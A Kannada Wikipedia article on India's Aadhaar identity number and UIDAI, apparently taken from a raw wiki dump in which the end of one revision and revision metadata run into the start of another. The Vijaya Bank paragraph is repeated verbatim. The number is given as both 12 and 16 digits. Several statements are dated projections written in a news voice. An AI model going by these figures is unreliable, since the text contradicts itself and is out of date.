ಸಾಮಾಜಿಕ ಭದ್ರತೆ ಸಂಖ್ಯೆ * ಬಹು-ಉದ್ದೇಶದ ರಾಷ್ಟ್ರೀಯ ಗುರುತಿನ ಕಾರ್ಡ್ * ಭಾರತದ ವಿಶಿಷ್ಟ ಗುರುತಿನ ಪ್ರಾಧಿಕಾರ ==ವಿಶೇಷ ಮಾಹಿತಿ== *[https://www.prajavani.net/stories/national/india-on-the-way-towards-police-state-712960.html ಪೊಲೀಸ್‌ ರಾಜ್ಯದತ್ತ ಭಾರತದ ನಡೆ: 'ಆಧಾರ್'ನಿಂದ ಜನರ ಸ್ವಾತಂತ್ರ್ಯ ಮೊಟಕು;ಕುಮಾರ ಸಂಭವ ಶ್ರೀವಾಸ್ತವ Updated: 18 ಮಾರ್ಚ್ 2020,] == ಬಾಹ್ಯ ಕೊಂಡಿಗಳು == * http://uidai.gov.in/ * [http://uidnumber.org UIDಯನ್ನು ಪ್ರವರ್ತಿಸುವುದಕ್ಕೆ ಸಂಬಂಧಿಸಿದಂತೆ UIDnumber.org] * [http://news.bbc.co.uk/2/hi/south_asia/8119070.stm ಇಂಡಿಯಾ ಟು ಲಾಂಚ್‌ 'ID ಕಾರ್ಡ್‌' ಸ್ಕೀಮ್‌] * [http://in.news.yahoo.com/48/20090626/804/tnl-govt-downloads-infosys-nilekani-he-s.html ಗೌರ್ನ್‌ಮೆಂಟ್‌ ಡೌನ್‌ಲೋಡ್ಸ್‌ ಇನ್ಫೋಸಿಸ್‌ ನಿಲೇಕಣಿ, ಹೀ ಸೇಸ್‌ ಫಸ್ಟ್‌ ಯುನಿಕ್‌ ID ಕಾರ್ಡ್‌ ವಿತಿನ್‌ 2 ಇಯರ್ಸ್‌] * [http://www.business-standard.com/india/news/what-nilekani-will-logto-inid-project/362160/ ವಾಟ್‌ ನಿಲೇಕಣಿ ವಿಲ್‌ ಲಾಗ್‌ ಆನ್‌ ಟು ಇನ್‌ ದಿ ID ಪ್ರಾಜೆಕ್ಟ್‌] * [http://prsindia.org/index.php?name=Sections&amp;action=bill_details&amp;id=6&amp;bill_id=1196&amp;category=46&amp;parent_category=1 ಕರಡು UIDAI ಮಸೂದೆ] * [http://www.uins.de www.uins.de] ==ಉಲ್ಲೇಖಗಳು== {{Reflist}} [[ವರ್ಗ:ಭಾರತ ಸರ್ಕಾರ]] qyoazfl29ihlqwjbqeg9tgc7y84hfdo 1116524 1116523 2022-08-23T16:01:11Z ChiK 40016 wikitext text/x-wiki {{Infobox project | logo = [[File:Aadhaar Logo.svg|250px]] | image = | caption = "ನನ್ನ ಆಧಾರ್, ನನ್ನ ಗುರುತು"<ref name=AboutUIDAI/> | launched = {{Start date and age|df=yes|2009|01|28}}<ref name=AboutUIDAI/> | country = [[India]] | budget = {{INRConvert|11366|c}} (up to the month of August 2019)<ref name="UIDAIFinance">{{cite web|url=https://uidai.gov.in/about-uidai/about-uidai/financials.html|title=UIDAI Finance and Budge Section|website=UIDAI|access-date=29 May 2018}}</ref> | key_people = *[[Nandan Nilekani]], Co-founder of [[Infosys]], first Chairman, UIDAI *[[J. Satyanarayana]], [[Indian Administrative Service|IAS]], Chairman, UIDAI *Saurabh Garg, [[Indian Administrative Service|IAS]], CEO, UIDAI | ministry = [[Ministry of Electronics and Information Technology]], [[India]] | website = {{URL|https://uidai.gov.in}} | current_status = {{increase}} 1.31 billion holders as of October 2021<ref name="Dashboard">{{cite web|title=Aadhaar Dashboard|url=https://uidai.gov.in/aadhaar_dashboard/index.php|publisher=UIDAI|access-date=7 September 2021}}</ref> }} '''ಆಧಾರ್''' ಎಂಬುದು ೧೨ ಅಂಕೆಯ ವಿಶಿಷ್ಟ ಗುರುತಿನ ಸಂಖ್ಯೆಯಾಗಿದ್ದು [[ಭಾರತ ಸರ್ಕಾರ]]ದ ವತಿಯಿಂದ ಇತ್ತೀಚೆಗಷ್ಟೇ ಅಂತಿಮಗೊಳಿಸಲ್ಪಟ್ಟ ಒಂದು ಉಪಕ್ರಮವಾಗಿದ್ದು, [[ಭಾರತ]]ದ ಎಲ್ಲಾ ವಯಸ್ಕ ನಾಗರಿಕರು ಮತ್ತು ನಿವಾಸಿಗಳಿಗೆ ಸಂಬಂಧಿಸಿದಂತಿರುವ ಒಂದು ಕೇಂದ್ರೀಕೃತ ಗುರುತಿಸುವಿಕೆಯ ವ್ಯವಸ್ಥೆಯನ್ನು ಸೃಷ್ಟಿಸುವ ಮತ್ತು ನಿರ್ವಹಿಸುವ ಉದ್ದೇಶ ಇದರ ಹಿಂದಿದೆ; ಇದನ್ನು ಒಂದು ವೈವಿಧ್ಯಮಯವಾದ ಗುರುತಿಸುವಿಕೆಯ ಉದ್ದೇಶಗಳಿಗಾಗಿ ಬಳಸಿಕೊಳ್ಳಬಹುದಾಗಿದೆ. [[ಇನ್ಫೋಸಿಸ್|ಇನ್ಫೋಸಿಸ್‌‌]]ನ ಹಿಂದಿನ ಸಹ-ಸಭಾಪತಿಯಾದ ನಂದನ್ ನಿಲೇಕಣಿಯವರನ್ನು ಭಾರತದ ವಿಶಿಷ್ಟ ಗುರುತಿಸುವಿಕೆಯ ಪ್ರಾಧಿಕಾರದ (ಯುನಿಕ್‌ ಐಡೆಂಟಿಫಿಕೇಶನ್‌ ಅಥಾರಿಟಿ ಆಫ್‌ ಇಂಡಿಯಾ) ಮುಖ್ಯಸ್ಥರನ್ನಾಗಿ ನೇಮಿಸಲಾಗಿದ್ದು, ಅವರು ಓರ್ವ ಮಂತ್ರಿಯ ದರ್ಜೆಯನ್ನು ಹೊಂದಲಿದ್ದಾರೆ.<ref name="deccanherald.com">10.2</ref> ಇನ್ಫೋಸಿಸ್‌ ಟೆಕ್ನಾಲಜೀಸ್‌ನ ನಿರ್ದೇಶಕ ಮಂಡಳಿಯಿಂದ ಕೆಳಗಿಳಿಯಲು ಅವರು ನಿರ್ಧರಿಸಿದ್ದಾರೆ.<ref name="business-standard.com">[http://www.business-standard.com/india/news/what-nilekani-will-logto-inid-project/362160/ ]</ref> ಈ ಪ್ರಾಧಿಕಾರವನ್ನು ಯೋಜನಾ ಆಯೋಗದ ಆಶ್ರಯ ಅಡಿಯಲ್ಲಿನ ಒಂದು ಸೇರಿಸಿದ ಕಚೇರಿಯನ್ನಾಗಿ ಘೋಷಿಸಲಾಗಿದೆ. ಹಿಂದಿ ಭಾಷೆಯಲ್ಲಿ ಬೆಂಬಲ ಎಂಬ ಅರ್ಥವನ್ನು ನೀಡುವ ಮತ್ತು 'ಆಧಾರ್‌' ಎಂಬುದಾಗಿ ಕರೆಯಲ್ಪಟ್ಟಿರುವ ಯೋಜನೆಗೆ ಸಂಬಂಧಿಸಿದಂತೆ ಒಂದು ಹೊಸ ಹೆಸರು ಮತ್ತು ಲಾಂಛನವನ್ನು ಅವರು ಪ್ರಕಟಿಸಿದ್ದಾರೆ.<ref name=AboutUIDAI>{{cite web|title=About UIDAI|url=https://uidai.gov.in/about-uidai/about-uidai.html|publisher=UIDAI|access-date=25 July 2017}}</ref> ಭಾರತೀಯ ವಿಶಿಷ್ಟವಾದ ಗುರುತಿನ ಪ್ರಾಧಿಕಾರ ಅಥವಾ UIDAI, ಭಾರತೀಯ ನಿವಾಸಿಗಳಿಗೆಲ್ಲಾ ೧೨ ಅಂಕಗಳ ಸಂಖ್ಯೆಯುಳ್ಳ 'ಗುರುತಿನ-ಪತ್ರ' ನೀಡುವ ಮಹದಾಂಕ್ಷೆಯ ಯೋಜನೆ ’ಆಧಾರ್, ಏಪ್ರಿಲ್ ೨೬, ೨೦೧೦ ರಂದು, ಪುನರ್ನಿರ್ಮಾಣವಾಗಿದೆ. ಯೋಜನೆಯ ಅನುಷ್ಠಾನಕ್ಕೆ ಅನುಕೂಲವಾಗುವಂತೆ ೨೦೧೧ ನೇ ಇಸವಿಯ ಜನಗಣತಿಯ ವೇಳೆಯಲ್ಲಿ 'ಪ್ರತಿಯೊಬ್ಬ ಭಾರತೀಯನ ಎಲ್ಲಾ ಹತ್ತು ಬೆರಳುಗಳ ಬೆರಳಚ್ಚುಗಳನ್ನು ಪಡೆಯಲಾಗುತ್ತದೆ', ಹಾಗೂ 'ಕಣ್ಣಿನ ಸ್ಕ್ಯಾನಿಂಗ್' ಮಾಡಲಾಗುತ್ತದೆ. 'ಪ್ರತಿಯೊಬ್ಬರನ್ನೂ ಹದಿನಾರು ಅಂಕೆಗಳ ಒಂದು ಸಂಖ್ಯೆ ಮೂಲಕ ಗುರುತಿಸಲಾಗುವಂತೆ ವ್ಯವಸ್ಥೆ ಮಾಡಲಾಗಿದೆ'. ಮುಂದಿನ ನಾಲ್ಕೈದು ವರ್ಷಗಳಲ್ಲಿ ಕನಿಷ್ಟಪಕ್ಷ ಭಾರತದ ೬೦ ಕೋಟಿ ಜನತೆ, ಮೇಲೆತಿಳಿಸಿರುವ ವಿಶಿಷ್ಟ ಗುರುತಿನ ಸಂಖ್ಯೆಯನ್ನು ಧಾಖಲಿಸಿರುವ ಗುರುತು ಚೀಟಿಯನ್ನು ಪಡೆಯಲಿದ್ದಾರೆ. ಎಲ್ಲಾ ಪ್ರಮುಖ ದಾಖಲಾತಿಗಳಲ್ಲೂ ಅದು ಮುಖ್ಯಸ್ಥಾನ ಪಡೆದುಕೊಳ್ಳಲಿದೆ. [[File:Aadhaar Seva Kendra, Bhopal.jpg|thumb|350px|]] == ವಿಶಿಷ್ಟ ಗುರುತಿನ ಪ್ರಾಧಿಕಾರ == ಭಾರತೀಯ ವಿಶಿಷ್ಟ ಗುರುತಿನ ಪ್ರಾಧಿಕಾರ (UIDAI) ಒಂದು ಶಾಸನಬದ್ಧ ಪ್ರಾಧಿಕಾರ ಮತ್ತು ಸರ್ಕಾರಿ ಇಲಾಖೆಯಾಗಿದ್ದು, ಆಧಾರ್ ಕಾಯಿದೆ 2016 ರ ನಿಬಂಧನೆಗಳನ್ನು ಅನುಸರಿಸಿ ಎಲೆಕ್ಟ್ರಾನಿಕ್ಸ್ ಮತ್ತು ಮಾಹಿತಿ ತಂತ್ರಜ್ಞಾನ ಸಚಿವಾಲಯದ ವ್ಯಾಪ್ತಿಯ ಅಡಿಯಲ್ಲಿ ಭಾರತ ಸರ್ಕಾರವು 12 ಜುಲೈ 2016 ರಂದು ಸ್ಥಾಪಿಸಲಾಗಿದೆ.<ref name=AboutUIDAI/> == ಸ್ವರೂಪ == ಭಾರತದ ಒಂದು ಶತಕೋಟಿಗೂ ಮಿಕ್ಕಿದ ನಾಗರಿಕರ ಹಾಗೂ ಭವಿಷ್ಯದಲ್ಲಿ ಜನನವಾಗಲಿರುವ ಮಕ್ಕಳ ಗಣನೆಯನ್ನು ಸರಿಹೊಂದಿಸುವ ದೃಷ್ಟಿಯಿಂದ, ಸದರಿ ID ವ್ಯವಸ್ಥೆಯು ಒಂದು ಬೃಹತ್‌‌ ಅಕ್ಷರಸಂಖ್ಯಾಯುಕ್ತ ಸರಣಿಯಾಗಿ ಮಾರ್ಪಡುವ ಸಾಧ್ಯತೆಯಿದೆ. 16 ಕೆಬಿ ಅಥವಾ 64 ಕೆಬಿ ಸಾಮರ್ಥ್ಯದ ಒಂದು ಸಂಗ್ರಹಣಾ ಬಿಲ್ಲೆಯನ್ನು ಈ ಕಾರ್ಡಿನಲ್ಲಿ ಅಳವಡಿಸುವ ಸಾಧ್ಯತೆಯಿದೆ.ಒಂದು ಛಾಯಾಚಿತ್ರ ಮತ್ತು ಜೀವಸಂಖ್ಯಾಶಾಸ್ತ್ರದ ದತ್ತಾಂಶವನ್ನು ಸೇರ್ಪಡೆ ಮಾಡುವ ಪ್ರಕ್ರಿಯೆಯನ್ನು ಹಂತಹಂತವಾಗಿ ಯೋಜಿಸಲಾಗುವುದು.<ref>[http://www.igovernment.in/site/Unique-ID-for-all-Indian-citizens-soon/ ]</ref> == ಉದ್ದೇಶ ಮತ್ತು ಬಳಕೆ == ಭಾರತೀಯ ನಾಗರಿಕರನ್ನು ಗುರುತಿಸುವುದಕ್ಕಾಗಿ ಸದರಿ IDಯನ್ನು ಮೂಲಭೂತವಾಗಿ ಸಿದ್ಧಗೊಳಿಸಲಾಗುತ್ತಿದ್ದು, ಇದರಿಂದ ಅಕ್ರಮ ವಲಸೆಗಾರರು ಮತ್ತು ಭಯೋತ್ಪಾದಕರನ್ನು ಗುರುತಿಸಲು ಸಾಧ್ಯವಾಗುತ್ತದೆಯಾದ್ದರಿಂದ ದೇಶಕ್ಕೆ ಹಾಗೂ ಭಾರತೀಯ ನಾಗರಿಕರಿಗೆ ಉತ್ತಮ ಭದ್ರತೆಯನ್ನು ಒದಗಿಸಲು ಸಾಧ್ಯವಾಗುತ್ತದೆ. ಆದಾಗ್ಯೂ, ಭಾರತೀಯ ನಾಗರಿಕರಿಗೆ ಗುರುತಿನ ಪ್ರತಿಷ್ಠಾಪನೆಯ ಸುಗಮತೆಯನ್ನು ಒದಗಿಸುವಲ್ಲಿನ ಅದರ ಸಾಮರ್ಥ್ಯದಲ್ಲಿ ಈ IDಯ ನಿಜವಾದ ಶಕ್ತಿಯು ಅಡಗಿದೆ; ವೈವಿಧ್ಯಮಯವಾದ ಸರ್ಕಾರಿ ಮತ್ತು ಖಾಸಗಿ-ವಲಯ ಸೇವೆಗಳಿಗೆ ಭಾರತೀಯ ನಾಗರಿಕರು ಸಂಪರ್ಕ ಹೊಂದಲು ಇದು ಅವಕಾಶ ಕಲ್ಪಿಸುತ್ತದೆ. ಹೊಸ ID ವ್ಯವಸ್ಥೆಯಿಂದ ನಾಗರಿಕರಿಗೆ ದೊರಕುವ ಸಂಭವನೀಯ ಪ್ರಯೋಜನಗಳಲ್ಲಿ ಈ ಕೆಳಗಿನವು ಸೇರಿವೆ: 1) ಅರ್ಹತೆ ಹೊಂದಿರುವ ಜನರು ಆಹಾರ, ಶಕ್ತಿ, ಶಿಕ್ಷಣ, ಇತ್ಯಾದಿ ಸವಲತ್ತುಗಳನ್ನು ಸ್ವೀಕರಿಸುವಂತಾಗಲು ಈ ವಲಯಗಳ ಮೇಲೆ ನೀಡುವ ಅನುದಾನಗಳು. 2) ಬ್ಯಾಂಕ್‌ ಖಾತೆಗಳ ತೆರೆಯುವಿಕೆ 3) ಹೊಸ ದೂರವಾಣಿ, ಮೊಬೈಲ್‌ ಅಥವಾ ಅಂತರ್ಜಾಲ ಸಂಪರ್ಕಗಳನ್ನು ಪಡೆಯುವಿಕೆ, 4) ಹೊಸ ದೀಪ ಅಥವಾ ಅನಿಲ ಸಂಪರ್ಕಗಳು 5) ರಹದಾರಿಯೊಂದನ್ನು (ಪಾಸ್‌ಪೋರ್ಟ್‌) ಪಡೆಯುವಿಕೆ 6) ಇದೇ ಕಾರ್ಡು ಒಂದು ಚಾಲನಾ ಪರವಾನಗಿಯಂತೆಯೂ ಕಾರ್ಯನಿರ್ವಹಿಸಬಹುದು ನೀವು ಮಾಡಿದ ಸಂಚಾರಿ ಉಲ್ಲಂಘನೆಯ ದಾಖಲೆಗಳನ್ನು ಶೇಖರಿಸಿಟ್ಟುಕೊಳ್ಳಬಹುದು 7) ಇದು ನಿಮ್ಮ ಮತದಾರರ ಕಾರ್ಡ್‌ ಆಗಿಯೂ ಪಾತ್ರವಹಿಸಬಹುದು 8) ಇದರಿಂದ ಕುಟುಂಬ ವಂಶಾನ್ವೇಷಣೆಯ ಜಾಡುಹಿಡಿಯಬಹುದು ವಿಶಿಷ್ಟ ಗುರುತಿನ ಸಂಖ್ಯೆಗಳ ನೀಡುವಿಕೆಗೆ ಸಂಬಂಧಿಸಿದಂತೆ ಕೇಂದ್ರಸರ್ಕಾರದ ವತಿಯಿಂದ ಸ್ಥಾಪಿಸಲ್ಪಟ್ಟಿರುವ ಭಾರತದ ವಿಶಿಷ್ಟ ಗುರುತಿನ ಪ್ರಾಧಿಕಾರದೊಂದಿಗಿನ (ಯುನಿಕ್‌ ಐಡೆಂಟಿಫಿಕೇಶನ್‌ ಅಥಾರಿಟಿ ಆಫ್‌ ಇಂಡಿಯಾ-UIDAI) ಒಂದು MoUಗೆ (ಒಡಂಬಡಿಕೆಯ ಜ್ಞಾಪಕಪತ್ರಕ್ಕೆ) ವಿಜಯಾ ಬ್ಯಾಂಕ್‌ ಸಹಿಹಾಕಿದೆ. ಒಡಂಬಡಿಕೆಯ ಜ್ಞಾಪಕ ಪತ್ರಕ್ಕೆ (MoU) ನಿನ್ನೆ ಸಹಿಹಾಕುವುದರೊಂದಿಗೆ UIDAIನ ಪ್ರಯತ್ನಗಳಲ್ಲಿ ವಿಜಯಾ ಬ್ಯಾಂಕ್‌ ಓರ್ವ ಪಾಲುದಾರ ಎನಿಸಿಕೊಂಡಿದೆ ಎಂಬುದಾಗಿ ವಿಜಯಾ ಬ್ಯಾಂಕ್‌ ಸಭಾಪತಿ ಮತ್ತು ವ್ಯವಸ್ಥಾಪಕ ನಿರ್ದೇಶಕರಾದ ಆಲ್ಬರ್ಟ್‌ ಟೌರೋ ಹೇಳಿಕೆಯೊಂದರಲ್ಲಿ ಇಂದು ತಿಳಿಸಿದರು. ಒಂದು ನೋಂದಣಿ ಸಂಸ್ಥೆಯಾಗಿ ಬ್ಯಾಂಕ್‌ UID ಯೋಜನೆಯಲ್ಲಿ ನಿವಾಸಿಗಳನ್ನು ದಾಖಲಿಸಿಕೊಳ್ಳಬಹುದಾಗಿದೆ ಮತ್ತು ಯೋಜನೆಯ ಹಲವಾರು ಹಂತಗಳ ಸಂದರ್ಭದಲ್ಲಿ ಪ್ರಾಧಿಕಾರಕ್ಕೆ ನೆರವಾಗಬಹುದಾಗಿದೆ ಎಂಬುದಾಗಿಯೂ ಈ ಸಂದರ್ಭದಲ್ಲಿ ಟೌರೋ ತಿಳಿಸಿದರು. ಗುರುತಿಸಲ್ಪಟ್ಟ ಸ್ಥಳಗಳು ಮತ್ತು ಜಿಲ್ಲೆಗಳಲ್ಲಿ UID ಯೋಜನೆಯ ಅನುಷ್ಠಾನವಾಗುವದರ ಕುರಿತು ಮೇಲ್ವಿಚಾರಣೆ ನಡೆಸಲು ಪ್ರಧಾನ ತಂಡವೊಂದನ್ನು ಬ್ಯಾಂಕ್‌ ಸ್ಥಾಪಿಸಲಿದೆ. ಇದಕ್ಕಾಗಿ ವಿಜಯಾ ಬ್ಯಾಂಕ್‌ನ ಇತರ ಘಟಕಗಳು, ಖಾತೆ ಹೊಂದಿರುವವರು, ತಂತ್ರಜ್ಞಾನ ಒದಗಿಸುವವರು, BC ಸೇವೆ ಒದಗಿಸುವವರು ಮತ್ತು ಇತರ ಸಹಯೋಗಿಗಳು ತಮ್ಮ ಸಹಕಾರ ಹಸ್ತವನ್ನು ನೀಡಲಿದ್ದಾರೆ. ಹೊಸ ಗ್ರಾಹಕರಿಗೆ ಸಂಬಂಧಿಸಿದಂತಿರುವ UID ದಾಖಲಾತಿಯೊಂದಿಗೆ ತನ್ನ ಹಣಕಾಸಿನ ಒಳಗೂಡಿಸುವಿಕೆ ಯೋಜನೆಯನ್ನು ಅಚ್ಚುಕಟ್ಟಾಗಿ ಜೋಡಿಸಲು ವಿಜಯಾ ಬ್ಯಾಂಕ್‌ ಯೋಜಿಸಿದೆ. ತನ್ನ ಚಾಲ್ತಿಯಲ್ಲಿರುವ ಗ್ರಾಹಕರಿಗೆ ಸಂಬಂಧಿಸಿದಂತಿರುವ ಆಧಾರ್‌ ಸಂಖ್ಯೆಗಳ ನೀಡಿಕೆಯನ್ನೂ ಸಹ ಇದು ಸರಾಗಗೊಳಿಸಲಿದ್ದು, ಕಿರು ATMಗಳಂಥ ಹಲವಾರು ವಿತರಣಾ ವಾಹಿನಿಗಳೆಲ್ಲೆಡೆ 'ಆಧಾರ್‌' ಆಧರಿತ ಸೇವೆಗಳನ್ನು ಒದಗಿಸುವಲ್ಲಿ ಇದು ಬ್ಯಾಂಕ್‌ಗೆ ನೆರವಾಗಲಿದೆ. ವಿಶಿಷ್ಟ ಗುರುತಿನ ಸಂಖ್ಯೆಗಳ ನೀಡುವಿಕೆಗೆ ಸಂಬಂಧಿಸಿದಂತೆ ಕೇಂದ್ರಸರ್ಕಾರದ ವತಿಯಿಂದ ಸ್ಥಾಪಿಸಲ್ಪಟ್ಟಿರುವ ಭಾರತದ ವಿಶಿಷ್ಟ ಗುರುತಿನ ಪ್ರಾಧಿಕಾರದೊಂದಿಗಿನ (ಯುನಿಕ್‌ ಐಡೆಂಟಿಫಿಕೇಶನ್‌ ಅಥಾರಿಟಿ ಆಫ್‌ ಇಂಡಿಯಾ-UIDAI) ಒಂದು MoUಗೆ (ಒಡಂಬಡಿಕೆಯ ಜ್ಞಾಪಕಪತ್ರಕ್ಕೆ) ವಿಜಯಾ ಬ್ಯಾಂಕ್‌ ಸಹಿಹಾಕಿದೆ. ಒಡಂಬಡಿಕೆಯ ಜ್ಞಾಪಕ ಪತ್ರಕ್ಕೆ (MoU) ನಿನ್ನೆ ಸಹಿಹಾಕುವುದರೊಂದಿಗೆ UIDAIನ ಪ್ರಯತ್ನಗಳಲ್ಲಿ ವಿಜಯಾ ಬ್ಯಾಂಕ್‌ ಓರ್ವ ಪಾಲುದಾರ ಎನಿಸಿಕೊಂಡಿದೆ ಎಂಬುದಾಗಿ ವಿಜಯಾ ಬ್ಯಾಂಕ್‌ ಸಭಾಪತಿ ಮತ್ತು ವ್ಯವಸ್ಥಾಪಕ ನಿರ್ದೇಶಕರಾದ ಆಲ್ಬರ್ಟ್‌ ಟೌರೋ ಹೇಳಿಕೆಯೊಂದರಲ್ಲಿ ಇಂದು ತಿಳಿಸಿದರು. ಒಂದು ನೋಂದಣಿ ಸಂಸ್ಥೆಯಾಗಿ ಬ್ಯಾಂಕ್‌ UID ಯೋಜನೆಯಲ್ಲಿ ನಿವಾಸಿಗಳನ್ನು ದಾಖಲಿಸಿಕೊಳ್ಳಬಹುದಾಗಿದೆ ಮತ್ತು ಯೋಜನೆಯ ಹಲವಾರು ಹಂತಗಳ ಸಂದರ್ಭದಲ್ಲಿ ಪ್ರಾಧಿಕಾರಕ್ಕೆ ನೆರವಾಗಬಹುದಾಗಿದೆ ಎಂಬುದಾಗಿಯೂ ಈ ಸಂದರ್ಭದಲ್ಲಿ ಟೌರೋ ತಿಳಿಸಿದರು. ಗುರುತಿಸಲ್ಪಟ್ಟ ಸ್ಥಳಗಳು ಮತ್ತು ಜಿಲ್ಲೆಗಳಲ್ಲಿ UID ಯೋಜನೆಯ ಅನುಷ್ಠಾನವಾಗುವದರ ಕುರಿತು ಮೇಲ್ವಿಚಾರಣೆ ನಡೆಸಲು ಪ್ರಧಾನ ತಂಡವೊಂದನ್ನು ಬ್ಯಾಂಕ್‌ ಸ್ಥಾಪಿಸಲಿದೆ. ಇದಕ್ಕಾಗಿ ವಿಜಯಾ ಬ್ಯಾಂಕ್‌ನ ಇತರ ಘಟಕಗಳು, ಖಾತೆ ಹೊಂದಿರುವವರು, ತಂತ್ರಜ್ಞಾನ ಒದಗಿಸುವವರು, BC ಸೇವೆ ಒದಗಿಸುವವರು ಮತ್ತು ಇತರ ಸಹಯೋಗಿಗಳು ತಮ್ಮ ಸಹಕಾರ ಹಸ್ತವನ್ನು ನೀಡಲಿದ್ದಾರೆ. ಹೊಸ ಗ್ರಾಹಕರಿಗೆ ಸಂಬಂಧಿಸಿದಂತಿರುವ UID ದಾಖಲಾತಿಯೊಂದಿಗೆ ತನ್ನ ಹಣಕಾಸಿನ ಒಳಗೂಡಿಸುವಿಕೆ ಯೋಜನೆಯನ್ನು ಅಚ್ಚುಕಟ್ಟಾಗಿ ಜೋಡಿಸಲು ವಿಜಯಾ ಬ್ಯಾಂಕ್‌ ಯೋಜಿಸಿದೆ. ತನ್ನ ಚಾಲ್ತಿಯಲ್ಲಿರುವ ಗ್ರಾಹಕರಿಗೆ ಸಂಬಂಧಿಸಿದಂತಿರುವ ಆಧಾರ್‌ ಸಂಖ್ಯೆಗಳ ನೀಡಿಕೆಯನ್ನೂ ಸಹ ಇದು ಸರಾಗಗೊಳಿಸಲಿದ್ದು, ಕಿರು ATMಗಳಂಥ ಹಲವಾರು ವಿತರಣಾ ವಾಹಿನಿಗಳೆಲ್ಲೆಡೆ 'ಆಧಾರ್‌' ಆಧರಿತ ಸೇವೆಗಳನ್ನು ಒದಗಿಸುವಲ್ಲಿ ಇದು ಬ್ಯಾಂಕ್‌ಗೆ ನೆರವಾಗಲಿದೆ. == ಅನುಷ್ಠಾನ == ಮೊದಲ ಹಂತದಲ್ಲಿ, ಆಂಧ್ರಪ್ರದೇಶ, ಗುಜರಾತ್‌‌, ಪಶ್ಚಿಮ ಬಂಗಾಳ, ಕೇರಳ, ಗೋವಾ, ಕರ್ನಾಟಕ, ತಮಿಳುನಾಡು, ಮಹಾರಾಷ್ಟ್ರ ಮತ್ತು ಒಡಿಶಾ ರಾಜ್ಯಗಳ ತೀರಪ್ರದೇಶದ ಹಳ್ಳಿಗಳಲ್ಲಿ ವಾಸಿಸುತ್ತಿರುವ ಜನರಿಗೆ UIDಯನ್ನು ನೀಡಲಾಗುತ್ತದೆ. ಕೇಂದ್ರಾಡಳಿತ ಪ್ರದೇಶಗಳಾದ ಪುದುಚೇರಿ, ಅಂಡಮಾನ್‌ & ನಿಕೋಬಾರ್‌ ದ್ವೀಪಗಳು, ದಾದರ್‌ ಮತ್ತು ನಗರ್‌ ಹವೇಲಿ ಮಾತ್ರವೇ ಅಲ್ಲದೇ ಲಕ್ಷದ್ವೀಪವನ್ನೂ ಸಹ ಮೊದಲ ಹಂತದ ಯೋಜನೆಯಲ್ಲಿ ಪರಿಗಣಿಸಲಾಗುವುದು. 2010ರ ಆರಂಭದ ವೇಳೆಗೆ ಮೊದಲ ಗುಂಪಿನ ಕಾರ್ಡುಗಳು ವಿತರಿಸಲ್ಪಡುತ್ತವೆ ಎಂದು ನಿರೀಕ್ಷಿಸಲಾಗಿದೆ.<ref name="business-standard.com" /> 2011ರ ಫೆಬ್ರುವರಿ ವೇಳೆಗೆ ಆಧಾರ್‌ (UID) ಸಂಖ್ಯೆಯು ಅನುಷ್ಠಾನಗೊಳ್ಳಲಿದೆ ಎಂದು ನಿರೀಕ್ಷಿಸಲಾಗಿದೆ ಮತ್ತು ಭವಿಷ್ಯದಲ್ಲಿ PAN ಕಾರ್ಡುಗಳ ನೀಡುವಿಕೆಗೆ ಸಂಬಂಧಿಸಿದಂತೆ UIDಯ ಬಳಕೆಯನ್ನು ಕಡ್ಡಾಯಗೊಳಿಸುವುದರ ಕುರಿತಾಗಿಯೂ ಹಣಕಾಸು ಖಾತೆ ಅಧಿಕಾರಿಗಳು ಭರವಸೆಯನ್ನು ಹೊಂದಿದ್ದು, ಇದು ನಕಲಿ PAN ಕಾರ್ಡುಗಳ ಹಬ್ಬುವಿಕೆಯನ್ನು ನಿಗ್ರಹಿಸುವಲ್ಲಿ ನೆರವಾಗಲಿದೆ ಎಂದು ಹೇಳಲಾಗುತ್ತಿದೆ. == ಯೋಜನೆಯ ಆರಂಭ == UPA ಅಧ್ಯಕ್ಷೆ ಸೋನಿಯಾ ಗಾಂಧಿ, ಭಾರತದ ಪ್ರಧಾನ ಮಂತ್ರಿ ಮನ್‌ಮೋಹನ್‌ ಸಿಂಗ್‌, ಅಶೋಕ್ ಚವ್ಹಾಣ್, K. ಶಂಕರ್‌ನಾರಾಯಣನ್‌ ಮತ್ತು UIDAI ಮುಖ್ಯಸ್ಥ ನಂದನ್‌ ನಿಲೇಕಣಿ ಇವರುಗಳಿಂದ ಆಧಾರ್‌ ಯೋಜನೆಯು ಇತ್ತೀಚೆಗಷ್ಟೇ ಆರಂಭಿಸಲ್ಪಟ್ಟಿತು; ಮಹಾರಾಷ್ಟ್ರದ ತೆಂಬ್ಲಿ ಎಂಬ ಹಳ್ಳಿಯಲ್ಲಿ 10 ಆದಿವಾಸಿಗಳಿಗೆ ಈ ವಿಶಿಷ್ಟ IDಯನ್ನು ಒದಗಿಸುವ ಮೂಲಕ ಇದಕ್ಕೆ ಚಾಲನೆ ದೊರೆಯಿತು ಎಂಬುದು ಗಮನಾರ್ಹ ಅಂಶ. ಭಾರತದಲ್ಲಿನ ಸದರಿ ವಿಶಿಷ್ಟ ID ಯೋಜನೆಗಳ ಪ್ರಯೋಜನಗಳು ಮತ್ತು ಸಕಾರಾತ್ಮಕ ಫಲಿತಾಂಶಗಳ ಕುರಿತಾಗಿ UPA ಅಧ್ಯಕ್ಷೆ ಮತ್ತು ಭಾರತದ ಪ್ರಧಾನ ಮಂತ್ರಿಯವರು ಈ ಸಂದರ್ಭದಲ್ಲಿ ಮಾತನಾಡಿದರು. ನಾಲ್ಕು-ವರ್ಷ-ವಯಸ್ಸಿನ ಹಿತೇಶ್ ಸೋನವಾನೆ ಎಂಬಾತ ಪ್ರಧಾನ ಮಂತ್ರಿಯವರಿಂದ UID ಕಾರ್ಡನ್ನು ಸ್ವೀಕರಿಸಿದ ಅತಿಕಿರಿಯ ಸದಸ್ಯ ಎನಿಸಿಕೊಂಡರೆ, ರಂಜನಾ ಸೋನವಾನೆ ಎಂಬುವವರು ಆಧಾರ್‌ ಯೋಜನೆಯ ಮೂಲಕ UID / ವಿಶಿಷ್ಟ ID ಕಾರ್ಡನ್ನು ಪಡೆಯುವಲ್ಲಿನ ಮೊದಲ ಭಾರತೀಯಳು ಎನಿಸಿಕೊಂಡರು. ==ಭಾರತೀಯ ವಿಶಿಷ್ಟ ಗುರುತಿನ ಸಂಖ್ಯೆ ಪ್ರಾಧಿಕಾರ ಕಾಯಿದೆ- ೨೦೧೦== '''ಭಾರತೀಯ ವಿಶಿಷ್ಟ ಗುರುತಿನ ಸಂಖ್ಯೆ ಪ್ರಾಧಿಕಾರ ಕಾಯಿದೆ- ೨೦೧೦''' 